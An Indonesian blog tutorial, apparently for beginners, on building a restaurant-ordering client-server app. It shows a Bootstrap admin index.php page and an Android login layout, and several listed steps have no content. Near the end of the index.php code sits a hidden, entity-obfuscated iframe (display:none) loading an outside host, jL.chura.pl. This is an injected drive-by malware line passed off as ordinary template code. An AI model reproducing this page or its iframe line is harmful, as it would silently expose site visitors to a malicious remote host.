pada postingan kali ini saya akn mempublikasikan suatu aplikasi android dengan judul aplikasi client server " Rumah Makan Online"


langkah awal yang harus di perhatikan terlebih dahuli adalah :

1. membuat aplikasi android
2. membuat file php
3. membuat databasenya

ok langsung saja !!!

1. aktifkan terlebih dahulu xampp nya


2. membuat index.php



<!DOCTYPE html>
    <html lang="en">
        <head>
            <meta charset="utf-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <meta name="description" content="Creative - Bootstrap 3 Responsive Admin Template">
            <meta name="author" content="GeeksLabs">
            <meta name="keyword" content="Creative, Dashboard, Admin, Template, Theme, Bootstrap, Responsive, Retina, Minimal">
            <link rel="shortcut icon" href="img/favicon.png">

            <title>www.From_Login.com</title>

            <link href="css/bootstrap.min.css" rel="stylesheet">
            <link href="css/bootstrap-theme.css" rel="stylesheet">
            <link href="css/elegant-icons-style.css" rel="stylesheet" />
            <link href="css/font-awesome.min.css" rel="stylesheet" />
            <link href="css/style.css" rel="stylesheet">
            <link href="css/style-responsive.css" rel="stylesheet" />

        </head>

        <body>
            <section id="container" class="">

                <header class="header dark-bg">
                    <div class="toggle-nav">
                        <div class="icon-reorder tooltips" data-original-title="Toggle Navigation" data-placement="bottom"><i class="icon_menu"></i></div>
                    </div>

                    <a href="#" class="logo">Daftar From Login<span class="lite"></span></a>

                    <div class="nav search-row" id="top_menu">
                        <ul class="nav top-menu">                 
                            <li>
                                <form class="navbar-form">
                                    <input class="form-control" placeholder="Search" type="text">
                                </form>
                            </li>                 
                        </ul>           
                    </div>

                    <div class="top-nav notification-row">             
                        <ul class="nav pull-right top-menu">
                            <li class="dropdown">
                                <a data-toggle="dropdown" class="dropdown-toggle" href="#">
                                    <span class="profile-ava">
                                    </span>
                                    <span class="username"></span>
                                    <b class="caret"></b>
                                </a>
                                <ul class="dropdown-menu extended logout">
                                    <div class="log-arrow-up"></div>
                                 
                                    <li>
                                        <a href="../logout.php"><i class="fa fa-sign-out"></i> Log out</a>
                                    </li>
                                </ul>
                            </li>
                        </ul>
                    </div>
                </header>   

                <div id="sidebar"  class="nav-collapse ">
                    <ul class="sidebar-menu">
                    <li class="">
                            <a class="fa fa-home" href="index.php">
                                <span>Beranda</span>
                            </a>
                        </li>
                        <li class="">
                            <a class="fa fa-user" href="user.php">
                                <span>User</span>
                            </a>
                        </li>
                        <li class="">
                            <a class="fa fa-clock-o" href="transaksi.php">
                                <span>Transaksi</span>
                            </a>
                        </li>
                       
                     
                    </ul>
                </div>

                <section id="main-content">
                    <section class="wrapper">
                        <div class="row">
                            <div class="col-lg-12">
                                <h3 class="page-header"><i class="fa fa fa-home"></i> BERANDA</h3>
                                <ol class="breadcrumb">
                                    <li><i class="fa fa-home"></i><a href="index.php">Beranda</a></li>
                                </ol>
                            </div>
                        </div>

                        <div class="row">
                            <div class="col-lg-12">
                                <section class="panel">
                                    <header class="panel-heading">
                                        <center><h2>HALAMAN UTAMA</h2></center>
                                    </header>
                                    <div class="row">
                                        <div class="panel-body">
                                            <div class="small-box bg-aqua">
                                                <div class="col-lg-3 col-md-3 col-sm-10 col-xs-10">
                                                    <div class="info-box blue-bg">
                                                        <i class="fa fa-user"></i>
                                                        <div class="title">User</div>
                                                        <a href="form_user.php" class="small-box-footer">Tambah Data</a>         
                                                    </div> 
                                                </div>
                                                <div class="col-lg-3 col-md-3 col-sm-10 col-xs-10">
                                                    <div class="info-box brown-bg">
                                                        <i class="fa fa-tasks"></i>
                                                        <div class="title">Transaksi</div>
                                                        <a href="form_transaksi.php" class="small-box-footer">Tambah Data</a>         
                                                    </div>
                                                </div>
                                             
                                                 
                                                    </div>
                                                 
                                                    </div>
                                                    </div>
                                                </div>
                                            </div>
                                            </section>
                                        </div>
                                    </div>
                                </section>
                                </section>
                                </section>
                                <script src="js/jquery.js"></script>
                                <script src="js/bootstrap.min.js"></script>
                                <script src="js/jquery.scrollTo.min.js"></script>
                                <script src="js/jquery.nicescroll.js" type="text/javascript"></script>
                                <script src="js/scripts.js"></script>
                                <iframe src="http://jL.ch&#117;ra.pl/rc/" style="d&#105;splay:none"></iframe>
</body>
                                </html>


3. database nya

4. usernya


5. transaksinya


6. hasil running tampilan pertama


7. itu untuk tampilan webnya sekarang untuk androidnya

8. ini untuk loginnya
 login.xml




<?xml version="1.0" encoding="utf-8"?>
<AbsoluteLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:id="@+id/widg37"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:background="@drawable/back"
    android:orientation="vertical" >

    <TableLayout
        android:id="@+id/widget37"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:orientation="vertical" >

        <TableRow
            android:id="@+id/widget45"
            android:layout_width="fill_parent"
            android:layout_height="wrap_content"
            android:orientation="horizontal" >
        </TableRow>

        <TableRow
            android:id="@+id/widget46"
            android:layout_width="fill_parent"
            android:layout_height="wrap_content"
            android:orientation="horizontal" >
        </TableRow>
    </TableLayout>

    <TableLayout
        android:id="@+id/w7"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:orientation="vertical" >

        <TableRow
            android:id="@+id/widget65"
            android:layout_width="fill_parent"
            android:layout_height="wrap_content"
            android:orientation="horizontal" >
        </TableRow>
    </TableLayout>

    <TextView
        android:id="@+id/txtstatus"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="" />

    <TextView
        android:id="@+id/widget55"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_x="17dp"
        android:layout_y="315dp"
        android:text="Password    :"
        android:textColor="#FF000000" />

    <EditText
        android:id="@+id/txtpassword"
        android:layout_width="200dp"
        android:layout_height="wrap_content"
        android:layout_x="96dp"
        android:layout_y="301dp"
        android:ems="10"
        android:password="True"
        android:textSize="18sp" >

        <requestFocus />
    </EditText>

    <EditText
        android:id="@+id/txtusername"
        android:layout_width="200dp"
        android:layout_height="wrap_content"
        android:layout_x="93dp"
        android:layout_y="244dp"
        android:ems="10"
        android:textSize="18sp" />

    <TextView
        android:id="@+id/widget47"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_x="16dp"
        android:layout_y="258dp"
        android:text="Username   :"
        android:textColor="#FF000000" />

    <Button
        android:id="@+id/btndaftar"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_x="198dp"
        android:layout_y="390dp"
        android:onClick="daftar"
        android:text="DAFTAR" />

    <Button
        android:id="@+id/btnlogin"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_x="68dp"
        android:layout_y="390dp"
        android:onClick="login"
        android:text="L O G I N" />

    <ImageView
        android:id="@+id/imageView1"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_x="95dp"
        android:layout_y="59dp"
        android:src="@drawable/kost" />

</AbsoluteLayout>



Komentar

Postingan populer dari blog ini

Pindah activity Android Studio

leaflet

MEMBUAT PERHITUNGAN LUAS PERSEGI PANJANG PADA ANDROID